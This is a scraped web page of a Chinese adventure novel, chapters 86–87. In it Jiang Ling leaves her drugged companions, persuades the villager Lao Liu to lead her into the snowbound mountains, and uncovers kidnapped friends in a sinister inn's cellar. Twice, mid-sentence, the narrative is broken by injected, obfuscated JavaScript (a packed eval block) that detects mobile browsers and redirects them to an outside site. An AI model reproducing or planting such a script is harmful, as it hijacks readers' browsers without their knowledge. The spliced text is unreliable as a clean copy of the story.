了骨头;花瓣也比阴幛里的要少。” “少的那只眼睛就是进入古城的机关。”姜泠补充道。 “我大概听明白了。就是说这些花纹是你们见过的,而且还是盗版?”陈青云不知道之前都发生过什么,但她也能从这些对话中揣摩出个大概。 “这么说也对。但现在看来,阴幛里的才是‘盗版’,这里的应该是原版。”姜泠回答她,“既然有两个版本可以对比,那或许可以大胆猜测有线索能让我们出去。” “什么线索?”老郑问。 “断翅、龙爪、眼睛、花瓣,这就是线索。” 墙面上时不时流动过水纹,让人产生眼前所见皆是幻象的错觉。答案并没有想象中那么复杂——这样的地方平时未必有外人闯入,所以最初设计的时候也没有多烧脑。 水墙里不仅有骨医的金塑像,还有打开这扇水下世界大门的钥匙。把龙爪、鸟翼、眼睛和花瓣放回原位,脚下的路便慢慢向上升起。 花纹裂开一道曲形缝隙——原来出逃的门在头顶。 “好家伙,这怎么跟坐河底观光电梯一样!” 随着脚下的“路”不断上升,两侧的水墙变成了阻挡外部河水流进来的屏障。刚刚把人卷进来的漩涡变成了通往外界的通道,只一眨眼的功夫,五个人又被相安无事地送回地上。 这一切发生得太快,如同一个草草结尾的梦,让人对如此顺利的逃生难以置信。可眼前已经没有蛇群的踪影,老乡的房子就在身后,房子里的灯已经灭了,一切看上去都与来时无异。 因为一直处于提心吊胆的状态中,所以众人对时间的流逝已经失去了感知。地面上的磁场回归正常,一切设备都能够正常使用,这时候再看时间,夜已经深了。 “是梦吗?”卫斯诚掐了掐自己的胳膊,痛感真实存在,“这算是逃过一劫?” “应该…算吧。”陈青云的语气不太确定。 “那还等什么,赶紧回宾馆吧!虽说破了点,但总比这地方好一万八千倍!” 北风袭来,吹得人牙关打颤。为了尽快得到休整,几个人不约而同地加快了回程的步伐。 前台大姐照例早早回到休息室睡觉去了,发黑的灯泡照出暗淡的光,让人看到许多命丧于灯罩的小飞虫遗体。 之胖的愈合能力令人震惊,短短几个小时的时间过去,他已经吃完两桶泡面了。一看见朋友们,他心里的激动便冲上来了: “怎么这么晚才回来!还指望你们给我带点好菜呢!” “好菜?”老郑用毛巾胡乱抹了把自己的脸,雪白的毛巾上历时就沾满了泥浆,“我们快变成好菜了!” “怎么?又遇到棘手的事儿了?”洪钟提着两壶热水走进来,刚好听见老郑的后一句话。 “遇到蛇不说,还遇到了想吃人的长脚鱼。”卫斯诚往墙上一靠,有种熬了三天三夜的疲惫感,“幸亏那个石头做的蜥蜴不吃人,要不然我们就真成夜宵了。” “石头做的蜥蜴?展开说说……” 之胖在床上半死不活地躺了好几天,浑身上下闲得发痒,好不容易逮着一个听故事的机会,绝不肯轻易放过。 凌岓无意间朝门口一瞥,只看见洪钟和姜泠低声说了句什么,然后两人便出门去了。 86. 第八十六章 “刚刚听小卫那么一说,我就猜你们是遇到两足蛇了。”洪钟眯眼望着门外被风卷起的沙土,若有所思,“但那个砌了骨医金身像的石室究竟是什么我也不大清楚,听你这么一说,倒像是你们这一行的宗祠。你们师父的人像被塑了一半,那么另一半?” “所以我得赶紧找到他。”心中的疑团层层叠叠挤在一道,姜泠恨不能现在找到殷漠问个清楚,“在你们来之前,我已经有线索了。” 洪钟哑然,心里已经猜到了七八分。 “那封信,你怎么处理的?” 话锋一转,骨医一双能洞察一切的眼睛看向说书人,问题问完,她长长舒了口气,气息在寒冷的夜里打了个圈,慢慢消散。 “烧了。”洪钟老老实实回答,“你师父也是个奇人,他好像早就知道有人会看到这些信,信最后写着‘阅后即焚,灾不迁子弟,祸不及他人’。” 夜风打开的窗户中袭来,说书人最后那句话被风吞没了大半。说是几个人相处久了有默契也好,是洪钟脑子转得快也罢,总之他踌躇了半天,见对面的姑娘始终没接话,便直截了当问道,“你…我…我能帮你做什么?” “我想请你帮我演一出戏。” 洪钟俯耳过去,时不时点点头。没人注意到楼梯尽处落了一地的烟丝。 “啧!这种冒险的好事儿没有我老之怎么行!”——一进门,洪钟就看见之胖拍着胸脯。 “老洪,上哪儿去了?小姜姑娘呢?”之胖的眼神逡巡了一圈,最后落在说书人手里提着的坛子上,“这是什么好东西?” “烧刀子,小姜弄来的。”言多必失,提着酒的人回答完问题就紧紧闭住嘴,一句话都不说。 不多时,姜泠也携着一身冷气进来了,她提着两大袋冒着热气的塑料盒,一间小小的大床房便被挤得满满当当。 “姐姐好厉害!这么晚,在这种鬼地方还能弄到宵夜。”陈青云闻见香味,凑上去提过其中一只袋子,全然不顾一旁卫斯诚抽动的半边脸。 青椒炒肉、西红柿炒蛋、肉末茄子,炸花生米、凉拌皮蛋、拍黄瓜,三盒热菜三盒凉菜都很常见,只是在这样的时间和地点显得格外珍贵。 老郑认真擦拭着椅子背上的灰尘,默不作声;凌岓站在窗边盯着外头乌漆嘛黑的一片看,也不知在想什么;卫斯诚心里正为着陈青云那句“姐姐”犯恶心;只有之胖和陈青云两人对夜宵兴趣十足。 “吃点东西吧,折腾了那么半天,肚子里的食儿都没了。”洪钟递过去几双筷子,却见凌岓还是站在窗边岿然不动。 “这酒是我以前和师父来这里的时候存的,放心喝,没下毒。”姜泠难得成为气氛组,也难得语气软一些,“主要是我,借着这个机会,谢谢大家自认识以来帮我这么多忙。” 她向来不善言辞,逢年过节都是惜字如金的人现下说了这么一句,继而把小酒杯里的烧刀子一饮而尽,足见诚意。 “这话说的,见外!太见外了!”之胖紧跟着喝光杯子里的酒,不忘接上话,“要不是你,我老之这条命估计就送出去了。咱也算是同生共死过的,说这见外的话干甚!” 有之胖,气氛很快热络起来。老郑不怎么接话,却也一杯接一杯;卫斯诚和陈青云两人你一句我一句相互拆台,让这个寒夜变得热乎乎的。 只是一向话多的洪钟早早就趴在桌子上眯着了;而凌岓自始至终都不吭声,只照旧一脸温和地看着自己的同伴们。 次日,风雪交加。上了岁数的门窗被北风刮得吱呀作响,身边几个不省人事的年轻人还在和周公下棋,只剩一个清醒的洪钟握着玉玦左右叹气—— 姜泠先他们一步到这里找回了玉玦,也先众人一步知道了殷漠的下落。 洪钟问她是如何找到玉玦的,她闭口不谈;又问她去哪儿找殷漠,她依旧缄口不语。到最后,洪钟只知道两个信息: 一是寻找殷漠十之八九是趟有去无回的行程,若非骨医,去再多人也是白白搭上性命;二是姜泠打算让同行的众人好后“睡一觉”,玉玦则交给说书人保管,只要有这块玉在,其他人在三日内就走不出这家招待所。 烧刀子是早些年殷漠存下的不假,里面加了使人昏昏欲睡的“佐料”也不假。洪钟早早趴在小茶几上假寐,为的就是等另外几人沉沉睡去,他好恪守自己“看人”的职责。 顺着这条路往前走,越靠近山脉,风雪就越大。姜泠坐在一辆破皮卡的副驾上,看着白茫茫的大雪发愣。 “这个季节的路不好走,今天雪下得大,恐怕进山是难了。”说话的人裹着军大衣,正是昨晚的老乡,“我们先回去等等吧,等到雪化一点再走。” “还有别的路吗?” “有倒是有,只是自从三年前雪崩以后,那条路就没有人去过了。” 破皮卡后座还躺着一个人。这人裹着宽厚的军大衣,里面依稀可见竖条纹的病号服,他唇色惨白,额头上全是汗珠,头皮上挂着一道道血痂,看起来有些可怖。 “再这么拖延下去,他就要没命了。”姜泠顿了两秒,转而问,“如果走你说的这条路,多久能进山?” “不好说。”——三年前的雪崩埋葬了半个村庄,那惨状历历在目,饶是走惯了山路、见多了灾难的老乡也不愿提及过多,更别说打保票给出一个确定的答案了。 他从口袋里摸出一根烟,想抽两口提提神,却怎么都打不着火。 整片天灰扑扑的,冷风钻进大脑,钻得人神经发疼。后座上的病人面色更差了,眼看着他口鼻周围的白气越来越稀薄,而老乡似乎打定主意不愿绕道走,姜泠反倒不急了。 “你果然沉得住气,比我想得更冷静,看来我师父真是没看错人。” 钳着烟的手猛然一抖,老乡却神色如常,他疑惑着问:“您是在跟我说话吗?什么冷静不冷静的,我是为了咱们的小命着想。再说你师父是哪位?我认识吗?” 骨医不再说话,只是一个布包递给了老乡。 “看来您是想明白了,吃完这顿我们就——” 话没说完,那支烟便从人的嘴里掉进雪地,冷气顺着鼻腔和喉管灌进心肺,老乡狠狠呛住了。 “这…这东西怎么会在你这儿?”——布包里并非饼干吃食,而是一截胫骨。 此时此刻,拿着这截胫骨的人也是这世上对它最熟悉的人之一。 “时至今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951861|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,他许给你的承诺都实现了吗?”姜泠看着那根泛黄的骨殖,摇头问道。 “老刘,你在这儿守着进山的路,可你的子孙非但没有荣华富贵,连最基本的平安健康都难保证;他说保你长生,保你青春永驻,可你近几年衰老的速度肉眼可见,你还要相信他吗?” “他救过我的命。” “可如果没有他们,你也不至于遭那么一场大难。”姜泠的语气十分温和,可她说的每句话都在冲击着眼前人的防线。 “你看看刘猛,他不也是你的子孙后代吗?你就打算这么眼睁睁看着他死,不想救他吗?” “还有你的腿。如果找不到殷漠,那么你的腿会慢慢烂掉,你大约也会在痛苦中走到尽头。” “你也是骨医!”老刘一把捏住眼前人的胳膊,几近哀求,“你师父!你师父他说过的!他说骨医会有办法救我的!你也是骨医,你一定有办法!” “我没办法。如果我有办法的话,就不会带着他来找你,也不会让你带路去找我师父了。”姜泠指着后座上奄奄一息的刘猛,说不上究竟是怜悯还是嘲讽: “说你淳朴,你却最懂算计,差点把我们几个人的命都算进河底。说你精明,你却被我师父画的一个虚无缥缈的大饼骗了这么久。” 沉默不语之后,老刘那张布满沟壑的黑脸上浮现出无奈,他把那根胫骨递还给姜泠,妥协道:“走吧,我们走那条路。” 三年前的雪崩姜泠只在打听消息时有所耳闻,对具体的情况并不了解。此刻站在白雪覆盖的路口处,以往的一切痕迹都已经被抹去,曾经的生息和雪崩刹那的惨烈被埋葬于一处,她隐约嗅到一丝不同寻常的气息,脚下的步伐加快了。 雪路不好走,下过雪的上坡路更不好走,再加上两人还要扶着一个丧失行动能力的刘猛,一条路走得格外艰难。 越往上走,风雪越大,气温越低。难得看见一棵枯树,老刘第一时间便凑了上去。他拨开树根附近的积雪,从中捡出几根树枝,可惜这些枯枝大多湿潮,也难以用来生火取暖。 “吃点东西休息休息吧,补充3十之八九再走。”老刘从自己的旧包里拿出一块防水布铺在地上,然后让刘猛靠着树坐下来。 大雪封山,这条路上更是白茫茫一片,天色与雪色混为一体,叫人分不清白天黑夜。压缩饼干上也落了雪,好在人的知觉已经被冻住了,再嚼也嚼不出什么别样的滋味。 姜泠本打算四处走走探路,却被身后的老刘拦住:“雪崩以后,能找到这条路的人基本都不在了。何况这里这么冷,也不会有什么别的动物。你别乱走,雪地里没有地标,万一迷了路可不好。” 前者闻言止步,她啃完饼干,伸手探了探刘猛的情况——烧已经退了,呼吸也慢慢变得均匀。 “他怎么样?”还没等老刘细问,一阵窸窸窣窣的声音在耳边响起。 两人警觉着抬起头,什么都没发现。 “你看,这地上是什么?”姜泠问。 老刘顺着手电光看向面前的雪地,只见上面赫然出现几个脚印。这些脚印似乎属于人类,只是细细数起来每个脚印都有六个脚趾;从大小来看,应该是孩子的脚印。 87. 第八十七章 客栈 “这是什么怪物?” 老刘算是活的很久了,怪事轶闻听得也不少。但百闻不如一见,空荡荡的雪地中突然出现这么一排脚印难免叫人汗毛直立。 姜泠轻轻摇了摇头,一步步靠近枯树,握紧了手中的短刀。 狂风乍起,漫天飞雪被吹得粉碎。待到人的视线被完全挡住后,风雪又突然停了。 老刘和姜泠睁开眼,面前已经站了一个人。 “二位客官是打尖还是住店呐?给二位客官拜个早年了,大吉大利叻!”——声音又尖又细,说话的人却是一个只到姜泠膝盖处的矮个男人。 这人穿着一件银线织成的马褂,一体黑色灯笼裤,手提一盏发旧的红灯笼,头上还盖着一顶瓜皮小帽。 旧灯笼正对着两个人,上面写着一个大大的繁体“喜”字,可怎么看都叫人觉得瘆得慌。 “你是什么人?”老刘厉声问道。 “瞧您说的,我是这客栈的老板啊。” 矮个子眼睛挤成一条缝,笑眯眯地看向自己身后——雪地上凭空出现一座两层老式小木楼。 楼门前一左一右分别挂着两串灯笼,左边的灯笼是白色,从上到下整整齐齐码着五个“奠”字;右边的那一串和老板手里的一模一样,陈旧的红色,大大的“喜”字。 老刘头顶突然被什么东西蹭了一下,他回头一看,只见那枯树上也不知何时挂了几串灯笼。此刻无风,灯笼最底下的穗子却晃晃悠悠地前后荡着。他大惊,还没来得及细想,又听见那道尖细的声音说: “怎么样二位客官,考虑好了吗?这天寒地冻的,我瞧这位小兄弟情况也不大好,你们不妨来我这小店热乎热乎,总好过在这儿挨冻嘛!” “您说的对,只是不知道您这客栈是活人店还是死人店?”姜泠报以同样的微笑看向店老板,一旁的老刘听得心中直发颤。 矮个子老板干笑了两声,回答她,“我们这是百家店,甭管哪路人都只管放心住,绝对安全。” “那就好,那就听您的,先去店里休息休息吧。” 老刘脸色大变,他觉得同行人这是在自寻死路——这种荒山野岭的晚上突然出现的客栈能是什么正经地方? 再说这个老板,长得一副尖嘴猴腮的模样,打扮也不像现代人,他要么是个心怀鬼胎谋财害命的主,要么压根就不是人。 没等老刘阻拦,姜泠已经扶着刘猛跟上了老板的步子。他急冲冲跑上前去,压低了声音呵斥道,“你找死吗?跟着他走,万一他…” “嘘。”姜泠打断了他,“你不想还没进山就先被冻死,我也不想。放心住下吧,我不会让你死的。” 老刘活了百十年,大的本事不见长,可察言观色、看人识人的本事却是精进了不少。他听同伴这么说,一颗心姑且从嗓子眼落回肚子,然后乖乖跟着老板往前走,什么都不说了。 客栈的外观是古色古香的,里面的装饰亦然。屋子里很暖和,和外面俨然是两个世界。和古代的客栈一样,这里一楼是供来客堂食的地方,二楼则是客房。 一楼一共六张方桌,有四张都坐满了人。矮个子老板把新来的二人引到靠窗的一张桌子前坐下,立刻便有人送来一壶热茶和两碗刚下好的汤圆。 “客官您慢用。”老板作了个揖,转身便打算回到柜台。 “老板请留步。”姜泠叫住他,“还有空房吗?有的话给我们两间。还有钱怎么算,我现在一次性给您结清。” 老板一挥手,笑了笑,“二楼左拐倒数第一间和第二间都空着,你们放心住吧。我们不收钱,要结账,得付点别的。至于付什么,等你们住完离店的时候再说。” 老刘刚咬了一口汤圆皮,便被里面的汤汁烫得吐了出来,“这怎么是肉汤圆?难不成厨子是南方人?” 姜泠端过碗闻了闻,小声说,“别吃这个。” “二位客官怎么不吃?是味道不好?还是汤圆不合胃口?”老板眼尖,冷不丁冒出来这么一句。 “额…那倒不是…”老刘被老板一双细长的眼睛盯着,只觉得如芒在背,不得不重新端起碗。 “老板是哪里人?”姜泠救场救得很及时,“这个肉汤团和我家乡的口味很像。” 老板一怔,也不正面回答,只笑着说,“缘分,缘分吧。” “按理说,这种缘分很难得,我们不该拒绝一碗热汤圆的好意。但是我这位长辈身患顽疾多年,吃不了荤腥油腻的东西,您看这里有没有素菜?冷的热的都行。” “素菜……”老板眯起眼睛想了想,旋即回答她,“有!我们这儿的厨子擅长饺子包子馄饨这些面点,今天刚好还有剩的菜馄饨,我叫他们现在下。” 年轻的姑娘看着老板走向后厨,这才松了口气,她偷偷塞给老刘一只小小的塑料瓶子,“吃下去,晚上别睡太死。” 菜馄饨端上来了,老刘尝了一口汤,对馄饨的味道十分不满。 “那时候我摆摊,一天少说也能卖出去几百碗。我做的馄饨皮薄馅多,哪像这玩意儿!这也能叫馄饨!” “凑合吃吧,吃完了赶紧回去休息,明天还要找路进山。”骨医一顿,又一次叮嘱道,“一定记住了,晚上别睡太死。” 吃过饭,一楼的灯便熄灭大半。原来的四桌客人有一半回了楼上客房,另有一半穿着衣服将就趴在桌子上小憩。 老板帮老刘将昏迷不醒的病患抬进二楼倒数第二间屋子,礼貌道了晚安,然后关门离开。他心里盘算着今晚的计划,丝毫没注意到在自己离开后,走廊尽头的房门被轻轻打开了。 屋外刮起狂风,木门被吹得吱呀作响,可一楼却依然暖和,甚至靠近门边都感受不到半点风。客栈老板关掉了所有灯,掀开门帘往屋后头去了。 姜泠跟在后面,动作极轻,一点声音都没有。她原以为这里只是一座两层楼的客栈,却不想从客栈后门出去,穿过一道长长的连廊,再拐过两层楼梯,竟然有一个巨大的地窖。 地窖四周被水泥砌得严严实实,一丝光也不透;老板轻车熟路地往地窖深处走,并不开灯。 跟着他的人对这种环境十分熟悉。她凝神屏息,凭借从前作为一个“盲人”的基本素养绕开了地窖里的障碍物。 矮个子男人的脚步声戛然而止。他轻轻敲了敲墙壁,两短三长,墙壁打开了。 姜泠离他不远,现今却不能继续跟下去——墙壁里面是另一个密室,从中走出来几个人,他们抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14968815|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着四口大箱子正等在密室入口处。借着密室里透出来的光,姜泠看清了这些人的面目。 一共八个人,个头都很高。每个人都穿着老式迷彩服,脸上蒙着黑口罩,腰间似乎还别着什么东西。这几个人身姿挺拔,站得笔直,看上去训练有素。 躲在暗处的人摸了摸自己的短刀,盘算着硬碰硬的胜算。 “抬回去吧。”客栈老板许久才出来,他拍了拍箱子,语气中还带着些惋惜,“暂时留他们一命。” “为什么?”其中一个迷彩衣问。 “我们的客户,那位大老板不让动。” “那我们岂不是白白费了这么大劲…” “叫唤什么!让你抬回去你就抬回去,哪儿来那么多问题!” 老板个头不高,可在这些人中似乎很有威信。他这么一说,那几个高个子便老老实实抬着箱子进去了。 这几人话里话外都暗示着箱子中装着活人,眼见壁门即将关闭,姜泠也顾不上其他,一咬牙从门缝里钻了进去。好在老板根本没想到自己会被人跟着,门口不设防,她进去的时候也没被发现。 地窖连着的这座密室看起来还没装修完,地上还铺着细细的沙子,零碎的钢材、木条随处可见。整座密室由不同的房间组成,要找到那几口箱子救人,首先要弄明白那几个人把箱子抬进了哪个房间。 沙子上的脚印杂乱无章,但细究之下仍能发现端倪——抬着重物的人留下的鞋印更清晰,且好几组鞋印朝向的方向相同,这也能和进去的八个人相对应。循着这个线索继续走,姜泠果然摸到了放箱子的地方。 “现在不动手,什么时候动手?”里面有人问。 “先在这儿放着吧。”老板尖细的声音传来,“上面那位大老板要见咱们,先去把他应付好再说。” 听着脚步声离门口渐近,姜泠闪到柱子后面,这才没被发现。目送着这几人的身影远去后,她蹑手蹑脚推开放箱子的门,准备一探究竟。 屋子里除了四口箱子以外再无其他,第一眼看上去倒也算空旷。这四口大箱子最外面用防水皮革包着,钢制的箱盖十分厚实,两侧各有一个圆圆的通风口,设计得很精巧。 姜泠正认真寻找打开箱子的办法时,其中一口箱子突然传出不大不小的动静,把她吓了一跳。 她靠近那口箱子,轻轻敲了敲箱壁,对着通风的气孔问,“有人在里面吗?” “嗯嗯嗯——”里面的人嘴里被勒着胶带,说不出完整的句子,却也能勉强回应。 姜泠越听越觉得这声音耳熟,她试探着问箱子里的人,“老洪?” “嗯嗯!” 里面的声音“嗯”得急切,外面的人一时间反倒拿不准了。 “你真是洪钟?是的话回答一声就行。” “嗯!” 这下答案确定了,箱子外面的人也跟着心烦意乱起来。 “你怎么会在这儿?你不是拿着玉玦保护他们吗?那小诚和凌岓他们呢?” “嗯嗯嗯嗯嗯嗯……”洪钟也着急,可愣是一句话都解释不了。 姜泠定了定神,又瞥了一眼其他三口箱子,心知当务之急是打开这些箱子,先把里面的人救出来。